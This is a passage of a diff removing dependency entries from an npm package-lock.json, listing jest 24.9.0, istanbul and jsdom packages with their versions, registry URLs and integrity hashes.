-        "@babel/template": "^7.4.0",
-        "@babel/traverse": "^7.4.3",
-        "@babel/types": "^7.4.0",
-        "istanbul-lib-coverage": "^2.0.5",
-        "semver": "^6.0.0"
-      }
-    },
-    "istanbul-lib-report": {
-      "version": "2.0.8",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-2.0.8.tgz",
-      "integrity": "sha512-fHBeG573EIihhAblwgxrSenp0Dby6tJMFR/HvlerBsrCTD5bkUuoNtn3gVh29ZCS824cGGBPn7Sg7cNk+2xUsQ==",
-      "requires": {
-        "istanbul-lib-coverage": "^2.0.5",
-        "make-dir": "^2.1.0",
-        "supports-color": "^6.1.0"
-      },
-      "dependencies": {
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
-          "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "istanbul-lib-source-maps": {
-      "version": "3.0.6",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-3.0.6.tgz",
-      "integrity": "sha512-R47KzMtDJH6X4/YW9XTx+jrLnZnscW4VpNN+1PViSYTejLVPWv7oov+Duf8YQSPyVRUvueQqz1TcsC6mooZTXw==",
-      "requires": {
-        "debug": "^4.1.1",
-        "istanbul-lib-coverage": "^2.0.5",
-        "make-dir": "^2.1.0",
-        "rimraf": "^2.6.3",
-        "source-map": "^0.6.1"
-      }
-    },
-    "istanbul-reports": {
-      "version": "2.2.7",
-      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-2.2.7.tgz",
-      "integrity": "sha512-uu1F/L1o5Y6LzPVSVZXNOoD/KXpJue9aeLRd0sM9uMXfZvzomB0WxVamWb5ue8kA2vVWEmW7EG+A5n3f1kqHKg==",
-      "requires": {
-        "html-escaper": "^2.0.0"
-      }
-    },
-    "jest": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest/-/jest-24.9.0.tgz",
-      "integrity": "sha512-YvkBL1Zm7d2B1+h5fHEOdyjCG+sGMz4f8D86/0HiqJ6MB4MnDc8FgP5vdWsGnemOQro7lnYo8UakZ3+5A0jxGw==",
-      "requires": {
-        "import-local": "^2.0.0",
-        "jest-cli": "^24.9.0"
-      },
-      "dependencies": {
-        "jest-cli": {
-          "version": "24.9.0",
-          "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-24.9.0.tgz",
-          "integrity": "sha512-+VLRKyitT3BWoMeSUIHRxV/2g8y9gw91Jh5z2UmXZzkZKpbC08CSehVxgHUwTpy+HwGcns/tqafQDJW7imYvGg==",
-          "requires": {
-            "@jest/core": "^24.9.0",
-            "@jest/test-result": "^24.9.0",
-            "@jest/types": "^24.9.0",
-            "chalk": "^2.0.1",
-            "exit": "^0.1.2",
-            "import-local": "^2.0.0",
-            "is-ci": "^2.0.0",
-            "jest-config": "^24.9.0",
-            "jest-util": "^24.9.0",
-            "jest-validate": "^24.9.0",
-            "prompts": "^2.0.1",
-            "realpath-native": "^1.1.0",
-            "yargs": "^13.3.0"
-          }
-        }
-      }
-    },
-    "jest-changed-files": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-24.9.0.tgz",
-      "integrity": "sha512-6aTWpe2mHF0DhL28WjdkO8LyGjs3zItPET4bMSeXU6T3ub4FPMw+mcOcbdGXQOAfmLcxofD23/5Bl9Z4AkFwqg==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "execa": "^1.0.0",
-        "throat": "^4.0.0"
-      }
-    },
-    "jest-config": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-24.9.0.tgz",
-      "integrity": "sha512-RATtQJtVYQrp7fvWg6f5y3pEFj9I+H8sWw4aKxnDZ96mob5i5SD6ZEGWgMLXQ4LE8UurrjbdlLWdUeo+28QpfQ==",
-      "requires": {
-        "@babel/core": "^7.1.0",
-        "@jest/test-sequencer": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "babel-jest": "^24.9.0",
-        "chalk": "^2.0.1",
-        "glob": "^7.1.1",
-        "jest-environment-jsdom": "^24.9.0",
-        "jest-environment-node": "^24.9.0",
-        "jest-get-type": "^24.9.0",
-        "jest-jasmine2": "^24.9.0",
-        "jest-regex-util": "^24.3.0",
-        "jest-resolve": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "jest-validate": "^24.9.0",
-        "micromatch": "^3.1.10",
-        "pretty-format": "^24.9.0",
-        "realpath-native": "^1.1.0"
-      }
-    },
-    "jest-diff": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-24.9.0.tgz",
-      "integrity": "sha512-qMfrTs8AdJE2iqrTp0hzh7kTd2PQWrsFyj9tORoKmu32xjPjeE4NyjVRDz8ybYwqS2ik8N4hsIpiVTyFeo2lBQ==",
-      "requires": {
-        "chalk": "^2.0.1",
-        "diff-sequences": "^24.9.0",
-        "jest-get-type": "^24.9.0",
-        "pretty-format": "^24.9.0"
-      }
-    },
-    "jest-docblock": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-24.9.0.tgz",
-      "integrity": "sha512-F1DjdpDMJMA1cN6He0FNYNZlo3yYmOtRUnktrT9Q37njYzC5WEaDdmbynIgy0L/IvXvvgsG8OsqhLPXTpfmZAA==",
-      "requires": {
-        "detect-newline": "^2.1.0"
-      }
-    },
-    "jest-each": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-24.9.0.tgz",
-      "integrity": "sha512-ONi0R4BvW45cw8s2Lrx8YgbeXL1oCQ/wIDwmsM3CqM/nlblNCPmnC3IPQlMbRFZu3wKdQ2U8BqM6lh3LJ5Bsog==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "chalk": "^2.0.1",
-        "jest-get-type": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "pretty-format": "^24.9.0"
-      }
-    },
-    "jest-environment-jsdom": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-24.9.0.tgz",
-      "integrity": "sha512-Zv9FV9NBRzLuALXjvRijO2351DRQeLYXtpD4xNvfoVFw21IOKNhZAEUKcbiEtjTkm2GsJ3boMVgkaR7rN8qetA==",
-      "requires": {
-        "@jest/environment": "^24.9.0",
-        "@jest/fake-timers": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "jest-mock": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "jsdom": "^11.5.1"
-      }
-    },
-    "jest-environment-jsdom-fourteen": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/jest-environment-jsdom-fourteen/-/jest-environment-jsdom-fourteen-1.0.1.tgz",
-      "integrity": "sha512-DojMX1sY+at5Ep+O9yME34CdidZnO3/zfPh8UW+918C5fIZET5vCjfkegixmsi7AtdYfkr4bPlIzmWnlvQkP7Q==",
-      "requires": {
-        "@jest/environment": "^24.3.0",
-        "@jest/fake-timers": "^24.3.0",
-        "@jest/types": "^24.3.0",
-        "jest-mock": "^24.0.0",
-        "jest-util": "^24.0.0",
-        "jsdom": "^14.1.0"
-      },
-      "dependencies": {
-        "acorn": {
-          "version": "6.4.1",
-          "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz",
-          "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA=="
-        },
-        "jsdom": {
-          "version": "14.1.0",
-          "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-14.1.0.tgz",
-          "integrity": "sha512-O901mfJSuTdwU2w3Sn+74T+RnDVP+FuV5fH8tcPWyqrseRAb0s5xOtPgCFiPOtLcyK7CLIJwPyD83ZqQWvA5ng==",
-          "requires": {
-            "abab": "^2.0.0",
-            "acorn": "^6.0.4",
-            "acorn-globals": "^4.3.0",
-            "array-equal": "^1.0.0",
-            "cssom": "^0.3.4",
-            "cssstyle": "^1.1.1",
-            "data-urls": "^1.1.0",
-            "domexception": "^1.0.1",
-            "escodegen": "^1.11.0",
-            "html-encoding-sniffer": "^1.0.2",
-            "nwsapi": "^2.1.3",
-            "parse5": "5.1.0",
-            "pn": "^1.1.0",
-            "request": "^2.88.0",
-            "request-promise-native": "^1.0.5",
-            "saxes": "^3.1.9",
-            "symbol-tree": "^3.2.2",
-            "tough-cookie": "^2.5.0",
-            "w3c-hr-time": "^1.0.1",
-            "w3c-xmlserializer": "^1.1.2",
-            "webidl-conversions": "^4.0.2",
-            "whatwg-encoding": "^1.0.5",
-            "whatwg-mimetype": "^2.3.0",
-            "whatwg-url": "^7.0.0",
-            "ws": "^6.1.2",
-            "xml-name-validator": "^3.0.0"
-          }
-        },
-        "parse5": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.0.tgz",
-          "integrity": "sha512-fxNG2sQjHvlVAYmzBZS9YlDp6PTSSDwa98vkD4QgVDDCAo84z5X1t5XyJQ62ImdLXx5NdIIfihey6xpum9/gRQ=="
-        },
-        "whatwg-url": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
-          "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
-          "requires": {
-            "lodash.sortby": "^4.7.0",
-            "tr46": "^1.0.1",
-            "webidl-conversions": "^4.0.2"
-          }
-        },
-        "ws": {
-          "version": "6.2.1",
-          "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.1.tgz",
-          "integrity": "sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==",
-          "requires": {
-            "async-limiter": "~1.0.0"
-          }
-        }
-      }
-    },
-    "jest-environment-node": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-24.9.0.tgz",
-      "integrity": "sha512-6d4V2f4nxzIzwendo27Tr0aFm+IXWa0XEUnaH6nU0FMaozxovt+sfRvh4J47wL1OvF83I3SSTu0XK+i4Bqe7uA==",
-      "requires": {
-        "@jest/environment": "^24.9.0",
-        "@jest/fake-timers": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "jest-mock": "^24.9.0",
-        "jest-util": "^24.9.0"
-      }
-    },
-    "jest-get-type": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-24.9.0.tgz",
-      "integrity": "sha512-lUseMzAley4LhIcpSP9Jf+fTrQ4a1yHQwLNeeVa2cEmbCGeoZAtYPOIv8JaxLD/sUpKxetKGP+gsHl8f8TSj8Q=="
-    },
-    "jest-haste-map": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-24.9.0.tgz",
-      "integrity": "sha512-kfVFmsuWui2Sj1Rp1AJ4D9HqJwE4uwTlS/vO+eRUaMmd54BFpli2XhMQnPC2k4cHFVbB2Q2C+jtI1AGLgEnCjQ==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "anymatch": "^2.0.0",
-        "fb-watchman": "^2.0.0",
-        "fsevents": "^1.2.7",
-        "graceful-fs": "^4.1.15",
-        "invariant": "^2.2.4",
-        "jest-serializer": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "jest-worker": "^24.9.0",
-        "micromatch": "^3.1.10",
-        "sane": "^4.0.3",
-        "walker": "^1.0.7"
-      },
-      "dependencies": {
-        "fsevents": {
-          "version": "1.2.12",
-          "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.12.tgz",
-          "integrity": "sha512-Ggd/Ktt7E7I8pxZRbGIs7vwqAPscSESMrCSkx2FtWeqmheJgCo2R74fTsZFCifr0VTPwqRpPv17+6b8Zp7th0Q==",
-          "optional": true,
-          "requires": {
-            "bindings": "^1.5.0",
-            "nan": "^2.12.1",
-            "node-pre-gyp": "*"
-          },
-          "dependencies": {
-            "abbrev": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "ansi-regex": {
-              "version": "2.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "aproba": {
-              "version": "1.2.0",
-              "bundled": true,
-              "optional": true
-            },
-            "are-we-there-yet": {
-              "version": "1.1.5",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "delegates": "^1.0.0",
-                "readable-stream": "^2.0.6"
-              }
-            },
-            "balanced-match": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "brace-expansion": {
-              "version": "1.1.11",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "balanced-match": "^1.0.0",
-                "concat-map": "0.0.1"
-              }
-            },
-            "chownr": {
-              "version": "1.1.4",
-              "bundled": true,
-              "optional": true
-            },
-            "code-point-at": {
-              "version": "1.1.0",
-              "bundled": true,
-              "optional": true
-            },
-            "concat-map": {
-              "version": "0.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "console-control-strings": {
-              "version": "1.1.0",
-              "bundled": true,
-              "optional": true
-            },
-            "core-util-is": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "debug": {
-              "version": "3.2.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ms": "^2.1.1"
-              }
-            },
-            "deep-extend": {
-              "version": "0.6.0",
-              "bundled": true,
-              "optional": true
-            },
-            "delegates": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "detect-libc": {
-              "version": "1.0.3",
-              "bundled": true,
-              "optional": true
-            },
-            "fs-minipass": {
-              "version": "1.2.7",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minipass": "^2.6.0"
-              }
-            },
-            "fs.realpath": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "gauge": {
-              "version": "2.7.4",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "aproba": "^1.0.3",
-                "console-control-strings": "^1.0.0",
-                "has-unicode": "^2.0.0",
-                "object-assign": "^4.1.0",
-                "signal-exit": "^3.0.0",
-                "string-width": "^1.0.1",
-                "strip-ansi": "^3.0.1",
-                "wide-align": "^1.1.0"
-              }
-            },
-            "glob": {
-              "version": "7.1.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "fs.realpath": "^1.0.0",
-                "inflight": "^1.0.4",
-                "inherits": "2",
-                "minimatch": "^3.0.4",
-                "once": "^1.3.0",
-                "path-is-absolute": "^1.0.0"
-              }
-            },
-            "has-unicode": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "iconv-lite": {
-              "version": "0.4.24",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safer-buffer": ">= 2.1.2 < 3"
-              }
-            },
-            "ignore-walk": {
-              "version": "3.0.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minimatch": "^3.0.4"
-              }
-            },
-            "inflight": {
-              "version": "1.0.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "once": "^1.3.0",
-                "wrappy": "1"
-              }
-            },
-            "inherits": {
-              "version": "2.0.4",
-              "bundled": true,
-              "optional": true
-            },
-            "ini": {
-              "version": "1.3.5",
-              "bundled": true,
-              "optional": true
-            },
-            "is-fullwidth-code-point": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "number-is-nan": "^1.0.0"
-              }
-            },
-            "isarray": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "minimatch": {
-              "version": "3.0.4",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "brace-expansion": "^1.1.7"
-              }
-            },
-            "minimist": {
-              "version": "1.2.5",
-              "bundled": true,
-              "optional": true
-            },
-            "minipass": {
-              "version": "2.9.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safe-buffer": "^5.1.2",
-                "yallist": "^3.0.0"
-              }
-            },
-            "minizlib": {
-              "version": "1.3.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minipass": "^2.9.0"
-              }
-            },
-            "mkdirp": {
-              "version": "0.5.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minimist": "^1.2.5"
-              }
-            },
-            "ms": {
-              "version": "2.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "needle": {
-              "version": "2.3.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "debug": "^3.2.6",
-                "iconv-lite": "^0.4.4",
-                "sax": "^1.2.4"
-              }
-            },
-            "node-pre-gyp": {
-              "version": "0.14.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "detect-libc": "^1.0.2",
-                "mkdirp": "^0.5.1",
-                "needle": "^2.2.1",
-                "nopt": "^4.0.1",
-                "npm-packlist": "^1.1.6",
-                "npmlog": "^4.0.2",
-                "rc": "^1.2.7",
-                "rimraf": "^2.6.1",
-                "semver": "^5.3.0",
-                "tar": "^4.4.2"
-              }
-            },
-            "nopt": {
-              "version": "4.0.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "abbrev": "1",
-                "osenv": "^0.1.4"
-              }
-            },
-            "npm-bundled": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "npm-normalize-package-bin": "^1.0.1"
-              }
-            },
-            "npm-normalize-package-bin": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "npm-packlist": {
-              "version": "1.4.8",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ignore-walk": "^3.0.1",
-                "npm-bundled": "^1.0.1",
-                "npm-normalize-package-bin": "^1.0.1"
-              }
-            },
-            "npmlog": {
-              "version": "4.1.2",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "are-we-there-yet": "~1.1.2",
-                "console-control-strings": "~1.1.0",
-                "gauge": "~2.7.3",
-                "set-blocking": "~2.0.0"
-              }
-            },
-            "number-is-nan": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "object-assign": {
-              "version": "4.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "once": {
-              "version": "1.4.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "wrappy": "1"
-              }
-            },
-            "os-homedir": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "os-tmpdir": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "osenv": {
-              "version": "0.1.5",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "os-homedir": "^1.0.0",
-                "os-tmpdir": "^1.0.0"
-              }
-            },
-            "path-is-absolute": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "process-nextick-args": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "rc": {
-              "version": "1.2.8",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "deep-extend": "^0.6.0",
-                "ini": "~1.3.0",
-                "minimist": "^1.2.0",
-                "strip-json-comments": "~2.0.1"
-              }
-            },
-            "readable-stream": {
-              "version": "2.3.7",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "core-util-is": "~1.0.0",
-                "inherits": "~2.0.3",
-                "isarray": "~1.0.0",
-                "process-nextick-args": "~2.0.0",
-                "safe-buffer": "~5.1.1",
-                "string_decoder": "~1.1.1",
-                "util-deprecate": "~1.0.1"
-              }
-            },
-            "rimraf": {
-              "version": "2.7.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "glob": "^7.1.3"
-              }
-            },
-            "safe-buffer": {
-              "version": "5.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "safer-buffer": {
-              "version": "2.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "sax": {
-              "version": "1.2.4",
-              "bundled": true,
-              "optional": true
-            },
-            "semver": {
-              "version": "5.7.1",
-              "bundled": true,
-              "optional": true
-            },
-            "set-blocking": {
-              "version": "2.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "signal-exit": {
-              "version": "3.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "string-width": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "code-point-at": "^1.0.0",
-                "is-fullwidth-code-point": "^1.0.0",
-                "strip-ansi": "^3.0.0"
-              }
-            },
-            "string_decoder": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safe-buffer": "~5.1.0"
-              }
-            },
-            "strip-ansi": {
-              "version": "3.0.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ansi-regex": "^2.0.0"
-              }
-            },
-            "strip-json-comments": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "tar": {
-              "version": "4.4.13",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "chownr": "^1.1.1",
-                "fs-minipass": "^1.2.5",
-                "minipass": "^2.8.6",
-                "minizlib": "^1.2.1",
-                "mkdirp": "^0.5.0",
-                "safe-buffer": "^5.1.2",
-                "yallist": "^3.0.3"
-              }
-            },
-            "util-deprecate": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "wide-align": {
-              "version": "1.1.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "string-width": "^1.0.2 || 2"
-              }
-            },
-            "wrappy": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "yallist": {
-              "version": "3.1.1",
-              "bundled": true,
-              "optional": true
-            }
-          }
-        }
-      }
-    },
-    "jest-jasmine2": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-24.9.0.tgz",
-      "integrity": "sha512-Cq7vkAgaYKp+PsX+2/JbTarrk0DmNhsEtqBXNwUHkdlbrTBLtMJINADf2mf5FkowNsq8evbPc07/qFO0AdKTzw==",
-      "requires": {
-        "@babel/traverse": "^7.1.0",
-        "@jest/environment": "^24.9.0",
-        "@jest/test-result": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "chalk": "^2.0.1",
-        "co": "^4.6.0",
-        "expect": "^24.9.0",
-        "is-generator-fn": "^2.0.0",
-        "jest-each": "^24.9.0",
-        "jest-matcher-utils": "^24.9.0",
-        "jest-message-util": "^24.9.0",
-        "jest-runtime": "^24.9.0",
-        "jest-snapshot": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "pretty-format": "^24.9.0",
-        "throat": "^4.0.0"
-      }
-    },
-    "jest-leak-detector": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-24.9.0.tgz",
-      "integrity": "sha512-tYkFIDsiKTGwb2FG1w8hX9V0aUb2ot8zY/2nFg087dUageonw1zrLMP4W6zsRO59dPkTSKie+D4rhMuP9nRmrA==",
-      "requires": {
-        "jest-get-type": "^24.9.0",
-        "pretty-format": "^24.9.0"
-      }
-    },
-    "jest-matcher-utils": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-24.9.0.tgz",
-      "integrity": "sha512-OZz2IXsu6eaiMAwe67c1T+5tUAtQyQx27/EMEkbFAGiw52tB9em+uGbzpcgYVpA8wl0hlxKPZxrly4CXU/GjHA==",
-      "requires": {
-        "chalk": "^2.0.1",
-        "jest-diff": "^24.9.0",
-        "jest-get-type": "^24.9.0",
-        "pretty-format": "^24.9.0"
-      }
-    },
-    "jest-message-util": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-24.9.0.tgz",
-      "integrity": "sha512-oCj8FiZ3U0hTP4aSui87P4L4jC37BtQwUMqk+zk/b11FR19BJDeZsZAvIHutWnmtw7r85UmR3CEWZ0HWU2mAlw==",
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "@jest/test-result": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "@types/stack-utils": "^1.0.1",
-        "chalk": "^2.0.1",
-        "micromatch": "^3.1.10",
-        "slash": "^2.0.0",
-        "stack-utils": "^1.0.1"
-      }
-    },
-    "jest-mock": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-24.9.0.tgz",
-      "integrity": "sha512-3BEYN5WbSq9wd+SyLDES7AHnjH9A/ROBwmz7l2y+ol+NtSFO8DYiEBzoO1CeFc9a8DYy10EO4dDFVv/wN3zl1w==",
-      "requires": {
-        "@jest/types": "^24.9.0"
-      }
-    },
-    "jest-pnp-resolver": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.1.tgz",
-      "integrity": "sha512-pgFw2tm54fzgYvc/OHrnysABEObZCUNFnhjoRjaVOCN8NYc032/gVjPaHD4Aq6ApkSieWtfKAFQtmDKAmhupnQ=="
-    },
-    "jest-regex-util": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-24.9.0.tgz",
-      "integrity": "sha512-05Cmb6CuxaA+Ys6fjr3PhvV3bGQmO+2p2La4hFbU+W5uOc479f7FdLXUWXw4pYMAhhSZIuKHwSXSu6CsSBAXQA=="
-    },
-    "jest-resolve": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-24.9.0.tgz",
-      "integrity": "sha512-TaLeLVL1l08YFZAt3zaPtjiVvyy4oSA6CRe+0AFPPVX3Q/VI0giIWWoAvoS5L96vj9Dqxj4fB5p2qrHCmTU/MQ==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "browser-resolve": "^1.11.3",
-        "chalk": "^2.0.1",
-        "jest-pnp-resolver": "^1.2.1",
-        "realpath-native": "^1.1.0"
-      }
-    },
-    "jest-resolve-dependencies": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-24.9.0.tgz",
-      "integrity": "sha512-Fm7b6AlWnYhT0BXy4hXpactHIqER7erNgIsIozDXWl5dVm+k8XdGVe1oTg1JyaFnOxarMEbax3wyRJqGP2Pq+g==",
-      "requires": {
-        "@jest/types": "^24.9.0",
-        "jest-regex-util": "^24.3.0",
-        "jest-snapshot": "^24.9.0"
-      }
-    },
-    "jest-runner": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-24.9.0.tgz",
-      "integrity": "sha512-KksJQyI3/0mhcfspnxxEOBueGrd5E4vV7ADQLT9ESaCzz02WnbdbKWIf5Mkaucoaj7obQckYPVX6JJhgUcoWWg==",
-      "requires": {
-        "@jest/console": "^24.7.1",
-        "@jest/environment": "^24.9.0",
-        "@jest/test-result": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "chalk": "^2.4.2",
-        "exit": "^0.1.2",
-        "graceful-fs": "^4.1.15",
-        "jest-config": "^24.9.0",
-        "jest-docblock": "^24.3.0",
-        "jest-haste-map": "^24.9.0",
-        "jest-jasmine2": "^24.9.0",
-        "jest-leak-detector": "^24.9.0",
-        "jest-message-util": "^24.9.0",
-        "jest-resolve": "^24.9.0",
-        "jest-runtime": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "jest-worker": "^24.6.0",
-        "source-map-support": "^0.5.6",
-        "throat": "^4.0.0"
-      }
-    },
-    "jest-runtime": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-24.9.0.tgz",
-      "integrity": "sha512-8oNqgnmF3v2J6PVRM2Jfuj8oX3syKmaynlDMMKQ4iyzbQzIG6th5ub/lM2bCMTmoTKM3ykcUYI2Pw9xwNtjMnw==",
-      "requires": {
-        "@jest/console": "^24.7.1",
-        "@jest/environment": "^24.9.0",
-        "@jest/source-map": "^24.3.0",
-        "@jest/transform": "^24.9.0",
-        "@jest/types": "^24.9.0",
-        "@types/yargs": "^13.0.0",
-        "chalk": "^2.0.1",
-        "exit": "^0.1.2",
-        "glob": "^7.1.3",
-        "graceful-fs": "^4.1.15",
-        "jest-config": "^24.9.0",
-        "jest-haste-map": "^24.9.0",
-        "jest-message-util": "^24.9.0",
-        "jest-mock": "^24.9.0",
-        "jest-regex-util": "^24.3.0",
-        "jest-resolve": "^24.9.0",
-        "jest-snapshot": "^24.9.0",
-        "jest-util": "^24.9.0",
-        "jest-validate": "^24.9.0",
-        "realpath-native": "^1.1.0",
-        "slash": "^2.0.0",
-        "strip-bom": "^3.0.0",
-        "yargs": "^13.3.0"
-      }
-    },
-    "jest-serializer": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-24.9.0.tgz",
-      "integrity": "sha512-DxYipDr8OvfrKH3Kel6NdED3OXxjvxXZ1uIY2I9OFbGg+vUkkg7AGvi65qbhbWNPvDckXmzMPbK3u3HaDO49bQ=="
-    },
-    "jest-snapshot": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-24.9.0.tgz",
